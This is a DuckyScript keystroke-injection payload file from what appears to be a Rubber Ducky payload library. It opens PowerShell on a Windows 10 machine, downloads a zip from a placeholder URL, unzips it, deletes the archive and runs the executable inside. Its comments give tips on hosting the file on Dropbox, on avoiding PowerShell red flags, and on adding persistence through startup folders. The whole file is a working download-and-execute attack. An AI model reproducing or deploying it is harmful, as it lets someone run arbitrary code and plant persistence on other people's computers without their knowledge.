Path: blob/master/payloads/library/recon/Drop_Zip_Execute/payload.txt
2968 views
REM Name: DROP-ZIP-EXCECUTE1REM Author: Lumen2REM Description: Downloads program in a zip file, then unzips and executes it3REM Target: Windows 10 powershell4DELAY 10005GUI r6DELAY 3007STRING powershell8DELAY 3009ENTER10DELAY 60011STRING Invoke-WebRequest -Uri <ZIP URL> -OutFile "~\Documents\My Games\file.zip"; Expand-Archive -Path "~\Documents\My Games\file.zip" -DestinationPath "~\Documents\My Games\file"; Remove-Item "~\Documents\My Games\file.zip"; & '<EXE PATH>'12ENTER13REM Invoke-WebRequest gets and saves the content of the URI given to it14REM Pasting a dropbox link works well here. Just get the share link and change ?dl=0 to ?dl=115REM Expand-Archive Unzips path to destinationPath16REM Remove-Item deletes the zip file (just to clean up a bit)17REM & tells powershell to execute the given path18REM since powershelgl opens at C:\Users\%user%, a relative path can be used from there19REM using %user% seems to set off a red flag in powershell, but relative paths work well20REM ; allows multiple commands to be run one after the other, so rather than running one and21REM guessing a wait time, the command is entered and ran all at once.22REM once the command is typed and the download begins, the ducky can be removed and the23REM computer will take care of the rest through the given instructions24REM Best when combined with a well made BATCH file to shift files around, make multiple copies,25REM shortcuts, and move them into startup folders ;)262728